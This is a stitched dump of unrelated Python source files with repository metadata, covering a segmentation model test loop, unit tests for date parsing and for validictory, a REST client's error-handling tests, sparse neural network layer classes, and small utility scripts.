Taken: %d sec' % (epoch, opt.niter + opt.niter_decay, time.time() - epoch_start_time)) if epoch > opt.niter + opt.niter_decay*0.75: model.update_learning_rate() #----------------Begin Testing Now!!--------- print 'Testing Now' import time from options.train_options import TrainOptions opt = TrainOptions().parse() #opt.dataroot='/home/sloke/repos/nips2017/left8bit/gtacityscapes/test' opt.split_ratio_A=1 opt.split_ratio_B=1 # set CUDA_VISIBLE_DEVICES before import torch import pickle from data.custom_transforms import ToLabelTensor # with open("opt.obj",'wb') as f: # pickle.dump(opt,f) from data.segmentation import SegmentationDataset from models.models import create_model from data.unaligned_data_loader import UnalignedDataLoader import torch.utils.data import torchvision.transforms as transforms #from models.models import create_model from util.visualizer import Visualizer from pdb import set_trace as st import numpy as np import gc import evaluation.metrics labels = __import__('data.labels') import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt opt.continue_train=True from data.custom_transforms import DownSizeLabelTensor ds1= DownSizeLabelTensor(opt.factor) size= ds1.findDecreasedResolution(opt.fineSize)/2 transform = transforms.Compose([ transforms.CenterCrop(opt.fineSize), transforms.Scale(size), transforms.ToTensor(), ]) target_transform = transforms.Compose([ transforms.CenterCrop(opt.fineSize),transforms.ToTensor(),ToLabelTensor(labels.labels.labels) ]) target_transform2 = transforms.Compose([ transforms.CenterCrop(opt.fineSize),transforms.ToTensor(),ToLabelTensor(labels.labels.labels) ]) #mean_pixel_acc_test_epoch, mean_class_acc_test_epoch, mean_class_iou_test_epoch, per_class_acc_test_epoch, per_class_iou_test_epoch=[],[],[],[],[] test_epoch_results=[] mean_pixel_acc, mean_class_acc, mean_class_iou, per_class_acc, per_class_iou=0,0,0,np.zeros((opt.num_classes)),np.zeros((opt.num_classes)) avgcountAC=0 avgcountBC=0 total_steps=0 avgtimetaken=[] model = create_model(opt) visualizer = Visualizer(opt) domainAdata_test= SegmentationDataset(root=opt.dataroot + '/' + opt.domain_A , split_ratio=opt.split_ratio_A, transform=transform, target_transform=target_transform, return_paths=True) domainBdata_test= SegmentationDataset(root=opt.dataroot + '/' + opt.domain_B , split_ratio=opt.split_ratio_B, transform=transform, target_transform=target_transform2, return_paths=True) print 'Dataset A Size:'+str(len(domainAdata_test)) print 'Dataset B Size:'+str(len(domainBdata_test)) domainAdataloader_test = torch.utils.data.DataLoader( domainAdata_test, batch_size=opt.batchSize, shuffle=not opt.serial_batches, num_workers=int(opt.nThreads)) domainBdataloader_test = torch.utils.data.DataLoader( domainBdata_test, batch_size=opt.batchSize, shuffle=not opt.serial_batches, num_workers=int(opt.nThreads)) domainAdata_iter_test = domainAdataloader_test.__iter__() domainBdata_iter_test = domainBdataloader_test.__iter__() mean_pixel_acc_test_A, mean_class_acc_test_A, mean_class_iou_test_A, per_class_acc_test_A, per_class_iou_test_A=0,0,0,np.zeros((opt.num_classes)),np.zeros((opt.num_classes)) for i in range(0,len(domainAdata_test)): batch_n= next(domainAdata_iter_test) data={} data['A_image'] = batch_n[0][0] data['A_label'] = ds1.downsize(ds1.downsize(batch_n[1][0]).data).data model.set_input(data,'AC') a,b,c,d,e=model.test() mean_pixel_acc_test_A +=a mean_class_acc_test_A +=b mean_class_iou_test_A +=c per_class_acc_test_A +=d per_class_iou_test_A +=e print 'Mean Pixel Accuracy (Domain A):'+str(a) print 'Mean Class Accuracy (Domain A):'+str(b) print 'Mean Class IoU (Domain A):'+str(c) print 'Per Class Accuracy (Domain A):'+str(d) print 'Per Class IoU (Domain A):'+str(e) print 'Iteration:'+str(i) print 'Model:'+opt.name if total_steps % opt.display_freq == 0: visualizer.display_current_results(model.get_current_visuals(), i) mean_pixel_acc_test_A /= len(domainAdata_test) cycle_data_loader=UnalignedDataLoader() cycle_data_loader.initialize(opt,transform,transform)

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7

348018c4e5754c9a0c10ab6b8cd34c5acf95b403

2,945

py

Python

tests/unit/data_finder/test_get_start_end_year.py

yifatdzigan/ESMValTool

83320b0e0b24ddde965599961bb80428e180a731

[ "Apache-2.0" ]

null

tests/unit/data_finder/test_get_start_end_year.py

yifatdzigan/ESMValTool

83320b0e0b24ddde965599961bb80428e180a731

[ "Apache-2.0" ]

null

tests/unit/data_finder/test_get_start_end_year.py

yifatdzigan/ESMValTool

83320b0e0b24ddde965599961bb80428e180a731

[ "Apache-2.0" ]

null

"""Unit tests for :func:`esmvaltool._data_finder.regrid._stock_cube`""" import unittest from esmvaltool._data_finder import get_start_end_year class TestGetStartEndYear(unittest.TestCase): """Tests for get_start_end_year function""" def test_years_at_the_end(self): """Test parse files with two years at the end""" start, end = get_start_end_year('var_whatever_1980-1981') self.assertEqual(1980, start) self.assertEqual(1981, end) def test_one_year_at_the_end(self): """Test parse files with one year at the end""" start, end = get_start_end_year('var_whatever_1980.nc') self.assertEqual(1980, start) self.assertEqual(1980, end) def test_full_dates_at_the_end(self): """Test parse files with two dates at the end""" start, end = get_start_end_year('var_whatever_19800101-19811231.nc') self.assertEqual(1980, start) self.assertEqual(1981, end) def test_one_fulldate_at_the_end(self): """Test parse files with one date at the end""" start, end = get_start_end_year('var_whatever_19800101.nc') self.assertEqual(1980, start) self.assertEqual(1980, end) def test_years_at_the_start(self): """Test parse files with two years at the start""" start, end = get_start_end_year('1980-1981_var_whatever.nc') self.assertEqual(1980, start) self.assertEqual(1981, end) def test_one_year_at_the_start(self): """Test parse files with one year at the start""" start, end = get_start_end_year('1980_var_whatever.nc') self.assertEqual(1980, start) self.assertEqual(1980, end) def test_full_dates_at_the_start(self): """Test parse files with two dates at the start""" start, end = get_start_end_year('19800101-19811231_var_whatever.nc') self.assertEqual(1980, start) self.assertEqual(1981, end) def test_one_fulldate_at_the_start(self): """Test parse files with one date at the start""" start, end = get_start_end_year('19800101_var_whatever.nc') self.assertEqual(1980, start) self.assertEqual(1980, end) def test_start_and_date_in_name(self): """Test parse one date at the start and one in experiment's name""" start, end = get_start_end_year( '19800101_var_control-1950_whatever.nc') self.assertEqual(1980, start) self.assertEqual(1980, end) def test_end_and_date_in_name(self): """Test parse one date at the end and one in experiment's name""" start, end = get_start_end_year( 'var_control-1950_whatever_19800101.nc') self.assertEqual(1980, start) self.assertEqual(1980, end) def test_fails_if_no_date_present(self): """Test raises if no date is present""" with self.assertRaises(ValueError): get_start_end_year('var_whatever')

38.246753

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0

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1

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8

1b36ec1d3b8eb7db8e141028bb036051238b3083

568

py

Python

benchml/plugins/__init__.py

rudolfspetrovs/benchml

896673f387a6bb9b185664ddd54f569a1ba54e51

[ "Apache-2.0" ]

3

2021-08-12T13:25:31.000Z

2022-03-21T21:30:22.000Z

benchml/plugins/__init__.py

rudolfspetrovs/benchml

896673f387a6bb9b185664ddd54f569a1ba54e51

[ "Apache-2.0" ]

5

2020-12-08T08:59:41.000Z

2022-01-22T06:46:09.000Z

benchml/plugins/__init__.py

rudolfspetrovs/benchml

896673f387a6bb9b185664ddd54f569a1ba54e51

[ "Apache-2.0" ]

1

2021-06-25T11:07:32.000Z

from benchml.plugins.plugin_asap import * # noqa: F401, F403 from benchml.plugins.plugin_cx import * # noqa: F401, F403 from benchml.plugins.plugin_dscribe import * # noqa: F401, F403 from benchml.plugins.plugin_gylmxx import * # noqa: F401, F403 from benchml.plugins.plugin_nphil import * # noqa: F401, F403 from benchml.plugins.plugin_physchem import * # noqa: F401, F403 from benchml.plugins.plugin_rdkit import * # noqa: F401, F403 from benchml.plugins.plugin_soap import * # noqa: F401, F403 from benchml.plugins.plugin_torch import * # noqa: F401, F403

56.8

65

0.762324

81

568

5.234568

0.209877

0.233491

0.382075

0.509434

0.792453

0

0.110883

0.142606

568

9

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63.111111

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null

0

1

0

1

0

1

0

10

1b57fec585c8433ec68ece3c3b4fa5f38770d448

1,627

py

Python

scripts/ccg/ccg_to_num.py

sxjscience/jiant

95bd488cd1318c33ca758b520b6fe3929bc4836b

[ "MIT" ]

74

2020-06-11T11:37:57.000Z

2022-03-07T09:44:05.000Z

scripts/ccg/ccg_to_num.py

sxjscience/jiant

95bd488cd1318c33ca758b520b6fe3929bc4836b

[ "MIT" ]

3

2020-10-08T18:09:58.000Z

2021-07-22T22:24:02.000Z

scripts/ccg/ccg_to_num.py

sxjscience/jiant

95bd488cd1318c33ca758b520b6fe3929bc4836b

[ "MIT" ]

13

2020-06-18T11:53:19.000Z

2022-03-23T17:15:44.000Z

fi1 = open("ccg.train", "r") fi2 = open("ccg.test", "r") fi3 = open("ccg.dev", "r") fo1 = open("ccg_num.train", "w") fo2 = open("ccg_num.test", "w") fo3 = open("ccg_num.dev", "w") tag2num = {} counter = 0 for line in fi1: parts = line.strip().split("\t") tags = parts[1].split() for tag in tags: if tag not in tag2num: tag2num[tag] = str(counter) counter += 1 for line in fi2: parts = line.strip().split("\t") tags = parts[1].split() for tag in tags: if tag not in tag2num: tag2num[tag] = str(counter) counter += 1 for line in fi3: parts = line.strip().split("\t") tags = parts[1].split() for tag in tags: if tag not in tag2num: tag2num[tag] = str(counter) counter += 1 fi1.close() fi2.close() fi3.close() print(counter) fi1 = open("ccg.train", "r") fi2 = open("ccg.test", "r") fi3 = open("ccg.dev", "r") for line in fi1: parts = line.strip().split("\t") sent = parts[0] tags = parts[1].split() nums = [] for tag in tags: nums.append(tag2num[tag]) fo1.write(sent + "\t" + " ".join(nums) + "\n") for line in fi2: parts = line.strip().split("\t") sent = parts[0] tags = parts[1].split() nums = [] for tag in tags: nums.append(tag2num[tag]) fo2.write(sent + "\t" + " ".join(nums) + "\n") for line in fi3: parts = line.strip().split("\t") sent = parts[0] tags = parts[1].split() nums = [] for tag in tags: nums.append(tag2num[tag]) fo3.write(sent + "\t" + " ".join(nums) + "\n")

19.141176

50

0.525507

239

1,627

3.564854

0.158996

0.073944

0.06338

0.133803

0.866197

0.843897

0.735915

0

0.037704

0.282729

1,627

84

51

19.369048

0.692374

0

0.8

0

0.073755

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false

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0.016667

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null

0

1

0

1

0

null

0

7

1b8f6a648ab8ff22b72c164e131a6ff6c831c7a1

19,669

py

Python

sparana/layers.py

jngannon/SpaRaNa

35d8853ab842681469db08ef92b4f914e81922a3

[ "MIT" ]

null

sparana/layers.py

jngannon/SpaRaNa

35d8853ab842681469db08ef92b4f914e81922a3

[ "MIT" ]

null

sparana/layers.py

jngannon/SpaRaNa

35d8853ab842681469db08ef92b4f914e81922a3

[ "MIT" ]

null

import numpy as np import cupy as cp from cupy.sparse import coo_matrix from sparana.parameter_selection import get_normal_high from sparana.numba_functions import sparse_coordinate_matmul class full_relu_layer: def __init__(self, size, inputs = None, dropout = None, learning_rate = None): self._size = size self._layer_type = 'Full' self._activation_type = 'Relu' self._weights = None self._biases = None self._relu = None self._outputs = None self._comp_type = 'GPU' # Regularization parameters, and learning rates can be set for layers individually self._learning_rate = learning_rate self._dropout = dropout self._dropout_mask = None self._sparse_training_mask = None def layer_type(self): return self._layer_type def size(self): return self._size def activate_NG(self, inputs, ratio = None, distribution = None): '''Activate, NG for no gradient, needed to add too much to the regular activate module, was getting convoluted. ''' if distribution == 'binomial': if self._comp_type == 'GPU': self._dropout_mask = cp.random.binomial(1, ratio, size = self._weights.shape) if self._comp_type == 'CPU': self._dropout_mask = np.random.binomial(1, ratio, size = self._weights.shape) if self._comp_type == 'GPU': self._outputs = cp.dot(inputs, self._weights*self._dropout_mask) if self._comp_type == 'CPU': self._outputs = inputs@(self._weights*self._dropout_mask) self._outputs = self._outputs + self._biases self._relu = self._outputs>0 self._outputs = self._outputs*self._relu return self._outputs def activate(self, inputs): if self._comp_type == 'GPU': if self._dropout: # Dropout masks are reset with every forward pass to be reused for calculating gradients. self._dropout_mask = cp.random.binomial(1, 1-self._dropout, size = self._weights.shape) self._outputs = cp.dot(inputs, self._weights*self._dropout_mask) else: self._outputs = cp.dot(inputs, self._weights) if self._comp_type == 'CPU': if self._dropout: self._dropout_mask = np.random.binomial(1, 1-self._dropout, size = self._weights.shape) self._outputs = inputs@(self._weights*self._dropout_mask) else: self._outputs = inputs@self._weights self._outputs = self._outputs + self._biases self._relu = self._outputs>0 self._outputs = self._outputs*self._relu return self._outputs def activate_weights(self, inputs): if self._comp_type == 'GPU': return cp.multiply(self._weights, inputs[: , np.newaxis]) if self._comp_type == 'CPU': return np.multiply(self._weights, inputs[: , cp.newaxis]) @property def weights(self): return self._weights def scale_weights(self, scaling_factor): self._weights *= scaling_factor return @property def biases(self): return self._biases def get_gradients(self, layer_inputs, layer_error): ''' Returns an array for weights, and biases, and one for the previous layer''' if self._comp_type == 'CPU': layer_error = layer_error*self._relu bias_gradients = np.sum(layer_error, axis = 0) weight_gradients = layer_inputs.transpose()@(layer_error) if self._dropout: previous_layer_error = layer_error@(self._dropout_mask*self._weights).transpose() else: previous_layer_error = layer_error@self._weights.transpose() if self._comp_type == 'GPU': layer_error = layer_error*self._relu bias_gradients = cp.sum(layer_error, axis = 0) weight_gradients = cp.dot(layer_inputs.transpose(), layer_error) if self._dropout: previous_layer_error = cp.dot(layer_error, (self._dropout_mask*self._weights).transpose()) else: previous_layer_error = cp.dot(layer_error, self._weights.transpose()) return weight_gradients, bias_gradients, previous_layer_error def get_selected_gradients(self, layer_inputs, layer_error, parameters): ''' Returns an array of the gradients of the selected parameters for weights, and biases, and one for the previous layer''' # Do the thing above with sparse_parameter_matmul(x,y,parameters) return def convert_comp_type(self): if self._comp_type == 'GPU': self._comp_type = 'CPU' self._weights = cp.asnumpy(self._weights) self._biases = cp.asnumpy(self._biases) if self._comp_type == 'CPU': self._comp_type = 'GPU' self._weights = cp.array(self._weights) self._biases = cp.array(self._biases) class full_linear_layer: def __init__(self, size, inputs = None, dropout = None, learning_rate = None): self._size = size self._layer_type = 'Full' self._activation_type = 'Linear' self._weights = None self._biases = None self._relu = 1 self._outputs = None self._comp_type = 'CPU' # Regularization parameters, and learning rates can be set for layers individually self._learning_rate = learning_rate self._dropout = dropout if self._comp_type == 'CPU' and dropout: self._dropout_mask = np.random.binomial(1, 1-self._dropout, size = self._weights.shape) if self._comp_type == 'GPU' and dropout: self._dropout_mask = cp.random.binomial(1, 1-self._dropout, size = self._weights.shape) self._sparse_training_mask = None def layer_type(self): return self._layer_type def size(self): return self._size def activate(self, inputs): if self._comp_type == 'GPU': if self._dropout: # Dropout masks are reset with every forward pass to be reused for calculating gradients. self._dropout_mask = cp.random.binomial(1, 1-self._dropout, size = self._weights.shape) self._outputs = cp.dot(inputs, self._weights*self._dropout_mask) else: self._outputs = cp.dot(inputs, self._weights) if self._comp_type == 'CPU': if self._dropout: self._dropout_mask = np.random.binomial(1, 1-self._dropout, size = self._weights.shape) self._outputs = inputs@(self._weights*self._dropout_mask) else: self._outputs = inputs@self._weights self._outputs = self._outputs + self._biases return self._outputs def activate_weights(self, inputs): if self._comp_type == 'GPU': return cp.multiply(self._weights, inputs[: , np.newaxis]) if self._comp_type == 'CPU': return np.multiply(self._weights, inputs[: , cp.newaxis]) def activate_NG(self, inputs, ratio = None, distribution = None): '''Activate, NG for no gradient, needed to add too much to the regular activate module, was getting convoluted. ''' if distribution == 'binomial': if self._comp_type == 'GPU': self._dropout_mask = cp.random.binomial(1, ratio, size = self._weights.shape) if self._comp_type == 'CPU': self._dropout_mask = np.random.binomial(1, ratio, size = self._weights.shape) if self._comp_type == 'GPU': self._outputs = cp.dot(inputs, self._weights*self._dropout_mask) if self._comp_type == 'CPU': self._outputs = inputs@(self._weights*self._dropout_mask) self._outputs = self._outputs + self._biases return self._outputs @property def weights(self): return self._weights @property def biases(self): return self._biases def get_gradients(self, layer_inputs, layer_error): ''' Returns an array for weights, and biases, and one for the previous layer''' if self._comp_type == 'CPU': bias_gradients = np.sum(layer_error, axis = 0) weight_gradients = layer_inputs.transpose()@(layer_error) if self._dropout: previous_layer_error = layer_error@(self._dropout_mask*self._weights).transpose() else: previous_layer_error = layer_error@self._weights.transpose() if self._comp_type == 'GPU': bias_gradients = cp.sum(layer_error, axis = 0) weight_gradients = cp.dot(layer_inputs.transpose(), layer_error) if self._dropout: previous_layer_error = cp.dot(layer_error, (self._dropout_mask*self._weights).transpose()) else: previous_layer_error = cp.dot(layer_error, self._weights.transpose()) return weight_gradients, bias_gradients, previous_layer_error def convert_comp_type(self): if self._comp_type == 'GPU': self._comp_type = 'CPU' self._weights = cp.asnumpy(self._weights) self._biases = cp.asnumpy(self._biases) if self._comp_type == 'CPU': self._comp_type = 'GPU' self._weights = cp.array(self._weights) self._biases = cp.array(self._biases) class full_softmax_layer: def __init__(self, size, inputs = None, dropout = None, learning_rate = None): self._size = size self._layer_type = 'Full' self._activation_type = 'Linear' self._weights = None self._biases = None self._relu = 1 self._outputs = None self._comp_type = 'CPU' # Regularization parameters, and learning rates can be set for layers individually self._learning_rate = learning_rate self._dropout = dropout if self._comp_type == 'CPU' and dropout: self._dropout_mask = np.random.binomial(1, 1-self._dropout, size = self._weights.shape) if self._comp_type == 'GPU' and dropout: self._dropout_mask = cp.random.binomial(1, 1-self._dropout, size = self._weights.shape) self._sparse_training_mask = None self._pre_softmax_values = None def layer_type(self): return self._layer_type def size(self): return self._size def activate(self, inputs): if self._comp_type == 'GPU': if self._dropout: # Dropout masks are reset with every forward pass to be reused for calculating gradients. self._dropout_mask = cp.random.binomial(1, 1-self._dropout, size = self._weights.shape) self._outputs = cp.dot(inputs, self._weights*self._dropout_mask) else: self._outputs = cp.dot(inputs, self._weights) if self._comp_type == 'CPU': if self._dropout: self._dropout_mask = np.random.binomial(1, 1-self._dropout, size = self._weights.shape) self._outputs = inputs@(self._weights*self._dropout_mask) else: self._outputs = inputs@self._weights self._outputs = self._outputs + self._biases self._pre_softmax_values = self._outputs self._outputs = np.exp(self._outputs) self._outputs = self._outputs/(np.sum(self._outputs, axis = 1)).reshape(len(self._outputs), 1) return self._outputs def activate_weights(self, inputs): if self._comp_type == 'GPU': return cp.multiply(self._weights, inputs[: , np.newaxis]) if self._comp_type == 'CPU': return np.multiply(self._weights, inputs[: , cp.newaxis]) def activate_NG(self, inputs, ratio = None, distribution = None): '''Activate, NG for no gradient, needed to add too much to the regular activate module, was getting convoluted. ''' if distribution == 'binomial': if self._comp_type == 'GPU': self._dropout_mask = cp.random.binomial(1, ratio, size = self._weights.shape) if self._comp_type == 'CPU': self._dropout_mask = np.random.binomial(1, ratio, size = self._weights.shape) if self._comp_type == 'GPU': self._outputs = cp.dot(inputs, self._weights*self._dropout_mask) if self._comp_type == 'CPU': self._outputs = inputs@(self._weights*self._dropout_mask) self._outputs = self._outputs + self._biases return self._outputs @property def weights(self): return self._weights @property def biases(self): return self._biases def get_gradients(self, layer_inputs, layer_error): ''' Returns an array for weights, and biases, and one for the previous layer''' if self._comp_type == 'CPU': bias_gradients = np.sum(layer_error, axis = 0) weight_gradients = layer_inputs.transpose()@(layer_error) if self._dropout: previous_layer_error = layer_error@(self._dropout_mask*self._weights).transpose() else: previous_layer_error = layer_error@self._weights.transpose() if self._comp_type == 'GPU': bias_gradients = cp.sum(layer_error, axis = 0) weight_gradients = cp.dot(layer_inputs.transpose(), layer_error) if self._dropout: previous_layer_error = cp.dot(layer_error, (self._dropout_mask*self._weights).transpose()) else: previous_layer_error = cp.dot(layer_error, self._weights.transpose()) return weight_gradients, bias_gradients, previous_layer_error def convert_comp_type(self): if self._comp_type == 'GPU': self._comp_type = 'CPU' self._weights = cp.asnumpy(self._weights) self._biases = cp.asnumpy(self._biases) if self._comp_type == 'CPU': self._comp_type = 'GPU' self._weights = cp.array(self._weights) self._biases = cp.array(self._biases) class sparse_relu_layer: def __init__(self, size, weights = None, biases = None, inputs = None, dropout = None, learning_rate = None): self._size = size self._layer_type = 'Sparse' self._activation_type = 'Relu' self._weights = weights self._biases = biases self._dot_product = None self._add_biases = None self._relu = None self._outputs = None # Default to running on GPU, if the sparse model isn't going to fit in GPU memory, you were fucked anyway. self._comp_type = 'GPU' # Regularization parameters, and learning rates can be set for layers individually self._learning_rate = learning_rate self._dropout = dropout self._rows = None self._columns = None @property def get_inputs(self): return self._inputs def activate(self, inputs): if self._comp_type == 'GPU': self._dot_product = self._weights.dot(inputs) if self._comp_type == 'CPU': # use the @ operator self._dot_product = inputs@self._weights self._add_biases = self._dot_product + self._biases[: , np.newaxis] self._relu = self._add_biases>0 self._outputs = self._add_biases*self._relu return self._outputs @property def softmax_activate(self): dot_product = self._inputs@self._weights add_biases = dot_product + self._biases softmax = np.array([[np.exp(i)/sum([np.exp(j) for j in k]) for i in k] for k in add_biases]) return softmax @property def weights(self): return self._weights def activate_weights(self, inputs): act_weights = self._weights.multiply(np.transpose(inputs)) return act_weights @property def biases(self): return self._biases def get_coordinates(self): self._rows = self._weights.tocoo().transpose().row self._columns = self._weights.tocoo().transpose().col def get_gradients(self, layer_inputs, layer_error): grads_shape = self._weights.shape layer_error = layer_error*(self._relu.transpose()) bias_gradients = cp.sum(layer_error, axis = 0) previous_layer_error = self._weights.transpose().dot(layer_error.transpose()).transpose() weight_gradients = sum(layer_inputs[self._rows,:].transpose()*layer_error[:,self._columns]) return weight_gradients, bias_gradients, previous_layer_error class sparse_linear_layer: def __init__(self, size, weights = None, biases = None, inputs = None, dropout = None, learning_rate = None): self._size = size self._layer_type = 'Sparse' self._activation_type = 'Linear' self._weights = weights self._biases = biases self._dot_product = None self._add_biases = None self._relu = None self._outputs = None # Default to running on GPU, if the sparse model isn't going to fit in GPU memory, you were fucked anyway. self._comp_type = 'GPU' # Regularization parameters, and learning rates can be set for layers individually self._learning_rate = learning_rate self._dropout = dropout self._rows = None self._columns = None @property def get_inputs(self): return self._inputs def activate(self, inputs): if self._comp_type == 'GPU': self._dot_product = self._weights.dot(inputs) if self._comp_type == 'CPU': # use the @ operator self._dot_product = inputs@self._weights self._add_biases = self._dot_product + self._biases[: , np.newaxis] self._outputs = self._add_biases return self._outputs @property def softmax_activate(self): dot_product = self._inputs@self._weights add_biases = dot_product + self._biases softmax = np.array([[np.exp(i)/sum([np.exp(j) for j in k]) for i in k] for k in add_biases]) return softmax @property def weights(self): return self._weights @property def activate_weights(self): act_weights = self._weights.multiply((np.transpose(self._inputs))) return act_weights @property def biases(self): return self._biases def get_coordinates(self): self._rows = self._weights.tocoo().transpose().row self._columns = self._weights.tocoo().transpose().col def get_gradients(self, layer_inputs, layer_error): grads_shape = self._weights.shape bias_gradients = cp.sum(layer_error, axis = 0) previous_layer_error = self._weights.transpose().dot(layer_error.transpose()).transpose() weight_gradients = sum(layer_inputs[self._rows,:].transpose()*layer_error[:,self._columns]) return weight_gradients, bias_gradients, previous_layer_error

40.38809

131

0.611012

2,340

19,669

4.826496

0.064103

0.088631

0.058438

0.054542

0.953427

0.941916

0.932885

0.925801

0.9119

0.910926

0

0.002951

0.293609

19,669

486

132

40.471193

0.809918

0.083888

0

0.933155

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0

1

0.13369

false

0

0.013369

0.048128

0.275401

0

null

0

1

0

1

0

null

0

7

1b96ab516bded6731592434308a1beba3c98a424

2,919

py

Python

py_client/communication_test/communication_layer_test/test_communication_layer_requests_leading_to_algorithm_platform_error.py

sma-software/openviriato.algorithm-platform.py-client

73d4cf89aa6f4d02ab15b5504d92107848742325

[ "Apache-2.0" ]

2

2021-06-21T06:50:29.000Z

2021-06-30T15:58:02.000Z

py_client/communication_test/communication_layer_test/test_communication_layer_requests_leading_to_algorithm_platform_error.py

sma-software/openviriato.algorithm-platform.py-client

73d4cf89aa6f4d02ab15b5504d92107848742325

[ "Apache-2.0" ]

null

py_client/communication_test/communication_layer_test/test_communication_layer_requests_leading_to_algorithm_platform_error.py

sma-software/openviriato.algorithm-platform.py-client

73d4cf89aa6f4d02ab15b5504d92107848742325

[ "Apache-2.0" ]

null

import unittest import responses from py_client.communication import communication_layer, response_processing class TestCommunicationLayerToRaiseAlgorithmPlatformError(unittest.TestCase): def setUp(self): base_url = "http://viriato.rest.ch/api" self.CommunicationLayer = communication_layer.CommunicationLayer(base_url=base_url) @responses.activate def test_do_get_request_to_raise_AlgorithmPlatformError(self): responses.add(**dict( method=responses.GET, url='http://viriato.rest.ch/api/get_request_to_raise_AlgorithmPlatformError', body='{"statusCode": "400", "message": "test_to_raise_AlgorithmPlatformError"}', status=400 )) with self.assertRaises(response_processing.AlgorithmPlatformHTTPError) as algorithm_platform_error: self.CommunicationLayer.do_get_request('get_request_to_raise_AlgorithmPlatformError') self.assertIsInstance(algorithm_platform_error.exception, response_processing.AlgorithmPlatformHTTPError) self.assertEqual(algorithm_platform_error.exception.message, "test_to_raise_AlgorithmPlatformError") @responses.activate def test_do_post_request_to_raise_AlgorithmPlatformError(self): responses.add(**dict( method=responses.POST, url='http://viriato.rest.ch/api/post_request_to_raise_AlgorithmPlatformError', body='{"statusCode": "400", "message": "test_to_raise_AlgorithmPlatformError"}', status=400 )) with self.assertRaises(response_processing.AlgorithmPlatformHTTPError) as algorithm_platform_error: self.CommunicationLayer.do_post_request('post_request_to_raise_AlgorithmPlatformError') self.assertIsInstance(algorithm_platform_error.exception, response_processing.AlgorithmPlatformHTTPError) self.assertEqual(algorithm_platform_error.exception.message, "test_to_raise_AlgorithmPlatformError") @responses.activate def test_do_put_request_to_raise_AlgorithmPlatformError(self): responses.add(**dict( method=responses.PUT, url='http://viriato.rest.ch/api/put_request_to_raise_AlgorithmPlatformError', body='{"statusCode": "400", "message": "test_to_raise_AlgorithmPlatformError"}', status=400 )) with self.assertRaises(response_processing.AlgorithmPlatformHTTPError) as algorithm_platform_error: self.CommunicationLayer.do_put_request('put_request_to_raise_AlgorithmPlatformError') self.assertIsInstance(algorithm_platform_error.exception, response_processing.AlgorithmPlatformHTTPError) self.assertEqual(algorithm_platform_error.exception.message, "test_to_raise_AlgorithmPlatformError") def tearDown(self) -> None: self.CommunicationLayer.currentSession.close()

47.852459

114

0.739979

278

2,919

7.420863

0.201439

0.050897

0.210858

0.157053

0.826951

0.809501

0.755211

0

0.007497

0.177458

2,919

60

115

48.65

0.851728

0

0.533333

0

0.241693

0.124169

0

0.2

1

0.111111

false

0

0.066667

0

0.2

0

null

0

1

0

1

0

null

0

7

1b9b840078838208d1739e594f9f37f66d8b33ff

105

py

Python

boa3_test/test_sc/bytes_test/BytesToBoolWithBuiltinHardCodedTrue.py

hal0x2328/neo3-boa

6825a3533384cb01660773050719402a9703065b

[ "Apache-2.0" ]

25

2020-07-22T19:37:43.000Z

2022-03-08T03:23:55.000Z

boa3_test/test_sc/bytes_test/BytesToBoolWithBuiltinHardCodedTrue.py

hal0x2328/neo3-boa

6825a3533384cb01660773050719402a9703065b

[ "Apache-2.0" ]

419

2020-04-23T17:48:14.000Z

2022-03-31T13:17:45.000Z

boa3_test/test_sc/bytes_test/BytesToBoolWithBuiltinHardCodedTrue.py

hal0x2328/neo3-boa

6825a3533384cb01660773050719402a9703065b

[ "Apache-2.0" ]

15

2020-05-21T21:54:24.000Z

2021-11-18T06:17:24.000Z

from boa3.builtin import public @public def bytes_to_bool() -> bool: return bytes.to_bool(b'\x01')

15

33

0.714286

17

105

4.235294

0.705882

0.194444

0.305556

0

0.034091

0.161905

105

6

34

17.5

0.784091

0

0.038095

0

1

0.25

true

0

0.25

0.75

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

7

1bba8258fdf9a2e2d397d7f34725847b33f1b9ba

158

py

Python

efax/_src/scipy_replacement/__init__.py

NeilGirdhar/efax

3a0f1ea3fafb456b024137dc5a20a9e7f9806a9f

[ "MIT" ]

34

2020-03-24T06:21:08.000Z

2022-03-19T04:48:17.000Z

efax/_src/scipy_replacement/__init__.py

NeilGirdhar/efax

3a0f1ea3fafb456b024137dc5a20a9e7f9806a9f

[ "MIT" ]

8

2020-03-30T11:27:48.000Z

2021-07-05T06:10:06.000Z

efax/_src/scipy_replacement/__init__.py

NeilGirdhar/efax

3a0f1ea3fafb456b024137dc5a20a9e7f9806a9f

[ "MIT" ]

1

2022-03-17T01:34:07.000Z

from .complex_multivariate_normal import * from .complex_normal import * from .dirichlet import * from .multivariate_normal import * from .von_mises import *

26.333333

42

0.810127

20

158

6.15

0.4

0.325203

0.390244

0.455285

0

0.126582

158

5

43

31.6

0.891304

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

9406ab116b5f89a5b5b6602e72788787d1f34f11

4,662

py

Python

validictory/tests/test_fail_fast.py

netsyno/validictory

dd683aee108b79ad3e07b861719e71470a0ae4b2

[ "MIT" ]

1

2016-03-27T19:42:39.000Z

validictory/tests/test_fail_fast.py

netsyno/validictory

dd683aee108b79ad3e07b861719e71470a0ae4b2

[ "MIT" ]

null

validictory/tests/test_fail_fast.py

netsyno/validictory

dd683aee108b79ad3e07b861719e71470a0ae4b2

[ "MIT" ]

null

from unittest import TestCase import validictory class TestFailFast(TestCase): def test_multi_error(self): schema = { "type": "object", "properties": { "name": {"type": "string"}, "age": {"type": "integer"} }, } data = {"name": 2, "age": "fourty-two"} # ensure it raises an error self.assertRaises(validictory.ValidationError, validictory.validate, data, schema, fail_fast=True) # ensure it raises a MultiError self.assertRaises(validictory.MultipleValidationError, validictory.validate, data, schema, fail_fast=False) # ensure that the MultiError has 2 errors try: validictory.validate(data, schema, fail_fast=False) except validictory.MultipleValidationError as mve: assert len(mve.errors) == 2 def test_multi_error_in_list(self): schema = { "type": "object", "properties": { "words": {"type": "array", "items": {"type": "string"}}, }, } data = {"words": ["word", 32, 2.1, True]} # ensure it raises an error self.assertRaises(validictory.ValidationError, validictory.validate, data, schema, fail_fast=True) # ensure it raises a MultiError self.assertRaises(validictory.MultipleValidationError, validictory.validate, data, schema, fail_fast=False) # ensure that the MultiError has 3 errors since 3 of the items were bad try: validictory.validate(data, schema, fail_fast=False) except validictory.MultipleValidationError as mve: assert len(mve.errors) == 3 def test_multi_error_with_format(self): schema = { "type": "object", "properties": { "date": {"type": "string", "format": "date"}, "time": {"type": "string", "format": "time"} }, } data = {"date": "2011-02-99", "time": 